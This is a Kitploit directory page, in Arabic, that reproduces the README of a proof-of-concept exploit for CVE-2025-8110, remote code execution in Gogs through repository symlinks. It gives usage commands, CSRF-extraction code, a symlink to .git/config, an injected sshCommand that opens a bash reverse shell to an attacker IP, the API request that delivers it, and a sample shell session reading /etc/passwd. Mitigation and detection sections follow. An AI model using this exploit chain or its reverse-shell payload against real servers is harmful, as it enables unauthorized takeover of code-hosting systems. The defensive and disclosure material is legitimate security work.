Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-8110 — استغلال PoC للثغرة CVE-2025-8110 | Kitploit
أدوات/GitHubGitHub/joaquinrrr/cve-2025-8110
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

استغلال PoC للثغرة CVE-2025-8110

عرض المستودع
5منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-8110

تنفيذ التعليمات البرمجية عن بُعد عبر الروابط الرمزية لمستودع Gogs

من إعداد oguiii


جدول المحتويات

  • نظرة عامة
  • الميزات
  • المتطلبات
  • التثبيت
  • الاستخدام
  • سير عمل الاستغلال
  • تحليل فني
  • عرض إثبات المفهوم
  • الإصدارات المتأثرة
  • التخفيف
  • الكشف
  • إخلاء المسؤولية
  • الترخيص

نظرة عامة

CVE-2025-8110 هي ثغرة أمنية خطيرة في Gogs تسمح للمهاجمين الموثقين بتنفيذ تعليمات برمجية عن بُعد من خلال التلاعب بالروابط الرمزية للمستودع. يوضح إثبات المفهوم هذا سلسلة الاستغلال الكاملة، من المصادقة إلى الحصول على شل عكسي.

توجد الثغرة لأن Gogs يتبع الروابط الرمزية عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به، مما يسمح للمهاجم بقراءة وتعديل الملفات الحساسة مثل .git/config. عن طريق حقن توجيه sshCommand ضار، يمكن تنفيذ أوامر نظام عشوائية بصلاحيات حساب خدمة Gogs.

درجة CVSS: 7.2 (عالية)
متجه الهجوم: شبكة
المصادقة مطلوبة: نعم
تفاعل المستخدم: لا
التأثير: اختراق كامل للنظام


الميزات

  • استخراج رمز CSRF تلقائي مع طرق بديلة متعددة
  • إدارة الجلسات ومعالجة المصادقة
  • إنشاء مستودع تلقائي بمعاملات قابلة للتخصيص
  • سير عمل استغلال قائم على الروابط الرمزية
  • توليد حمولة الشل العكسي
  • دعم الوكيل (Proxy) لتصحيح الأخطاء والتحليل
  • تسجيل مفصل ومعالجة الأخطاء
  • إخراج وحدة التحكم ملون لتحسين القراءة
  • وضع التصفح المفصل لاستكشاف الأخطاء

المتطلبات

متطلبات النظام

  • Python 3.6 أو أعلى
  • Git مثبت ويمكن الوصول إليه في PATH
  • وصول شبكي إلى نسخة Gogs الهدف

تبعيات Python

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

التثبيت

الاستنساخ والإعداد

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

هيكل المشروع

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # البرنامج الرئيسي للاستغلال
├── requirements.txt    # تبعيات Python
└── README.md          # التوثيق

الاستخدام

خيارات سطر الأوامر

الاستخدام الأساسي

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

مع الوكيل لتصحيح الأخطاء

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

وضع التصفح المفصل لاستكشاف الأخطاء

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

سير عمل الاستغلال

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    سلسلة استغلال CVE-2025-8110                            │
└─────────────────────────────────────────────────────────────────────────────┘

الخطوة 1: المصادقة
├── الانتقال إلى /user/login
├── استخراج رمز CSRF من صفحة تسجيل الدخول
├── إرسال بيانات الاعتماد مع رمز CSRF
└── إنشاء جلسة موثقة

الخطوة 2: توليد رمز التطبيق
├── الانتقال إلى /user/settings/applications
├── استخراج رمز CSRF من صفحة الإعدادات
├── إنشاء رمز تطبيق جديد
└── استخراج الرمز من الرد

الخطوة 3: إنشاء مستودع ضار
├── إنشاء مستودع عبر الـ API مع auto_init
├── توليد اسم مستودع عشوائي
└── الحصول على رابط المستودع

الخطوة 4: رفع الرابط الرمزي
├── استنساخ المستودع محلياً
├── إنشاء رابط رمزي يشير إلى .git/config
├── إضافة ودمج ودفع التغييرات
└── تأكيد نجاح الرفع

الخطوة 5: استغلال RCE
├── إنشاء .git/config ضار مع sshCommand
├── تشفير محتوى الإعدادات بـ Base64
├── رفع عبر الـ API إلى الهدف الرمزي
└── تشغيل الأمر

الخطوة 6: الشل العكسي
├── إنشاء اتصال بمضيف المهاجم
├── الوصول إلى شل تفاعلي
└── تنفيذ الأوامر على الهدف

تحليل فني

السبب الجذري للثغرة

يفشل Gogs في تنقية تنقل الروابط الرمزية بشكل صحيح عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به. عندما يتم الوصول إلى ملف عبر نقطة نهاية API، يتبع Gogs الروابط الرمزية دون تحقق، مما يسمح بالوصول إلى ملفات حساسة خارج دليل المستودع.

تفاصيل متجه الهجوم

  1. إنشاء الرابط الرمزي

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "إضافة رابط رمزي"
    git push origin master
    
  2. الإعدادات الضارة

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. استغلال الـ API

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "استغلال CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

تحليل الشفرات البرمجية

استخراج رمز CSRF

root@kitploit:~
def extract_csrf(html_text):
    """استخراج رمز CSRF من حقل الإدخال المخفي مع طرق بديلة متعددة."""
    # الطريقة 1: حقل إدخال باسم _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # الطريقة 2: حقل إدخال باسم csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # الطريقة 3: وسم (meta) مع CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # الطريقة 4: نمط regex في وسم script
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # الطريقة 5: regex لحقل الإدخال المخفي
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("لم يتم العثور على رمز CSRF في رد النموذج")

حقن الإعدادات الضارة

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

عرض إثبات المفهوم

إعداد الهجوم

root@kitploit:~
# جهاز المهاجم (10.10.14.15)
nc -lvnp 4444
يستمع على [0.0.0.0] (العائلة 0, المنفذ 4444)

# تنفيذ الاستغلال
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

إخراج الاستغلال الناجح

root@kitploit:~
[INFO] بدء استغلال CVE-2025-8110
[INFO] الرابط الهدف: https://gogs.internal.local
[INFO] مضيف المهاجم: 10.10.14.15:4444
[INFO] اسم المستخدم: admin

[INFO] جاري المصادقة على Gogs...
[INFO] تم العثور على رمز CSRF لتسجيل الدخول: abc123def456...
[SUCCESS] تمت المصادقة بنجاح

[INFO] جاري استرداد رمز التطبيق...
[INFO] تم العثور على رمز CSRF للإعدادات: xyz789uvw012...
[SUCCESS] رمز التطبيق: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] جاري إنشاء مستودع ضار...
[SUCCESS] تم إنشاء المستودع: 6f7e8d9c0a1b

[INFO] جاري رفع الرابط الرمزي الضار...
[INFO] جاري استنساخ المستودع...
[INFO] إنشاء رابط رمزي: malicious_link -> .git/config
[INFO] جاري الإضافة والدمج والدفع...
[SUCCESS] تم رفع الرابط الرمزي بنجاح

[INFO] جاري إرسال حمولة الاستغلال...
[SUCCESS] تم إرسال الاستغلال، تحقق من المستمع الخاص بك!

[INFO] الأمر: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] الاستغلال ناجح على الأرجح (انتهاء المهلة يشير إلى شل عكسي)

اتصال الشل العكسي

root@kitploit:~
تم تلقي اتصال على 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

الإصدارات المتأثرة

الإصدارات المعرضة للخطر

  • إصدارات Gogs السابقة للإصدار 0.12.6
  • جميع الإصدارات التي تحتوي على دعم الروابط الرمزية مفعل (الإعدادات الافتراضية)

التحقق من الإصدار

للتحقق من إصدار Gogs لديك:

root@kitploit:~
# الوصول إلى واجهة Gogs ويب والتحقق من التذييل
# أو استخدام الـ API
curl https://gogs.example.com/api/v1/version

التخفيف

الإجراءات الفورية

  1. تحديث Gogs

    root@kitploit:~
    # نسخ التثبيت الحالي احتياطياً
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # تنزيل وتثبيت أحدث إصدار
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. تعطيل دعم الروابط الرمزية

    root@kitploit:~
    # في custom/conf/app.ini
    [repository]
    DISABLE_SYMLINKS = true
    
  3. تطبيق التحقق من المدخلات

    • تنقية مسارات الملفات قبل المعالجة
    • منع التنقل عبر الروابط الرمزية
    • التحقق من أنواع الملفات ومحتواها

إجراءات أمنية طويلة المدى

  • تطبيق مبدأ أقل الصلاحيات لحساب خدمة Gogs
  • مراجعات أمنية منتظمة واختبارات الاختراق
  • تقسيم الشبكة للحد من تعرض Gogs
  • تطبيق قواعد جدار الحماية للتطبيقات (WAF)
  • تفعيل التسجيل والمراقبة الشاملين
  • نسخ احتياطية منتظمة لإعدادات Gogs والمستودعات

قواعد جدار الحماية

root@kitploit:~
# تقييد الوصول إلى واجهة API الخاصة بـ Gogs
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

الكشف

مؤشرات النشاط المشبوه

  1. نشاط المستودع

    • إنشاء مستودعات تحتوي على روابط رمزية
    • إنشاء مستودعات متعددة في إطار زمني قصير
    • أسماء مستودعات غير عادية (سلاسل سداسية عشرية عشوائية)
  2. نشاط الـ API

    • طلبات PUT إلى /api/v1/repos/*/contents/*
    • تعديل .git/config عبر الـ API
    • تردد عالٍ لطلبات الـ API من جلسة واحدة
  3. مؤشرات النظام

    • عمليات غير متوقعة نشأت بواسطة مستخدم Gogs
    • اتصالات شبكة صادرة من خادم Gogs
    • أنماط وصول غير عادية لنظام الملفات

أوامر تحليل السجلات

root@kitploit:~
# التحقق من سجلات الوصول الخاصة بـ Gogs لاستغلال الـ API
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# مراقبة إنشاء الروابط الرمزية في المستودعات
find /home/gogs/gogs-repositories -type l

# التحقق من تعديلات git config المشبوهة
grep -r "sshCommand" /home/gogs/gogs-repositories/

# مراقبة الاتصالات الصادرة
ss -tunp | grep gogs

التكامل مع SIEM

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand في git config",
    "أسماء مستودعات سداسية عشرية عشوائية"
  ],
  "recommended_actions": [
    "مراجعة سجلات إنشاء المستودع",
    "التحقق من ملفات الروابط الرمزية",
    "التحقق من أنماط وصول الـ API"
  ]
}

الإفصاح المسؤول

تم اكتشاف هذه الثغرة والإفصاح عنها بشكل مسؤول لفريق تطوير Gogs. أصدر البائع تصحيحاً في الإصدار 0.12.6.

الجدول الزمني

  • الاكتشاف: مايو 2025
  • الإفصاح المسؤول: يونيو 2025
  • إصدار التصحيح: يونيو 2025
  • الإفصاح العام: يونيو 2025

موارد إضافية

  • التنبيهات الأمنية الرسمية لـ Gogs
  • CWE-61: متابعة الروابط الرمزية في UNIX
  • دليل اختبار OWASP - اجتياز المسار
  • توثيق خطاطيف Git
  • توثيق واجهة API الخاصة بـ Gogs

إخلاء المسؤولية

هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. يجب على المستخدمين:

  1. الحصول على إذن كتابي صريح قبل اختبار أي نظام
  2. الامتثال لجميع القوانين واللوائح المعمول بها
  3. استخدام هذه الأداة بمسؤولية وأخلاقية
  4. عدم استخدام هذه الأداة لأي أغراض ضارة أو غير مصرح بها

لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذه الأداة.


الترخيص

MIT License

حقوق النشر (c) 2025 oguiii

يُسمح لأي شخص يحصل على نسخة من هذا البرنامج والملفات المرتبطة به ("البرنامج") بالتعامل مع البرنامج دون قيود، بما في ذلك على سبيل المثال لا الحصر حقوق استخدام ونسخ وتعديل ودمج ونشر وتوزيع و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين تم توفير البرنامج لهم بذلك، مع مراعاة الشروط التالية:

يجب تضمين إشعار حقوق النشر أعلاه وإذن الترخيص هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.

يتم توفير البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات قابلية التسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يكون المؤلفون أو أصحاب الحقوق مسؤولين عن أي دعوى أو أضرار أو أي مسؤولية أخرى، سواء كانت ناشئة عن عقد أو ضرر أو غير ذلك، تنشأ من أو فيما يتعلق بالبرنامج أو الاستخدام أو التعاملات الأخرى في البرنامج.


الاتصال

  • GitHub: github.com/oguiii
  • المشروع: استغلال CVE-2025-8110

شكر وتقدير

  • الاكتشاف الأصلي: zAbuQasem
  • نشر CVE: مؤسسة MITRE
  • المجتمع: باحثو الأمن ومختبرو الاختراق الذين تحققوا من الثغرة

سجل التغييرات

الإصدار 1.0.0 (2025-06-25)

  • الإصدار الأول
  • تنفيذ سلسلة الاستغلال الكاملة
  • استخراج رمز CSRF بطرق بديلة
  • إنشاء مستودع تلقائي ورفع الرابط الرمزي
  • توليد حمولة الشل العكسي
  • دعم الوكيل لتصحيح الأخطاء
  • توثيق شامل

تم بكل إخلاص بواسطة oguiii

تنزيل الأداة
الخيارالوصفمطلوب
-u, --urlرابط Gogs الأساسي (مثل https://gogs.example.com)نعم
-lh, --hostعنوان IP الخاص بالمهاجم للشل العكسينعم
-lp, --portمنفذ المهاجم للشل العكسينعم
-U, --usernameاسم مستخدم Gogsنعم
-P, --passwordكلمة مرور Gogsنعم
-x, --proxyتفعيل الوكيل (localhost:8080)لا
-v, --verboseتفعيل الإخراج المفصللا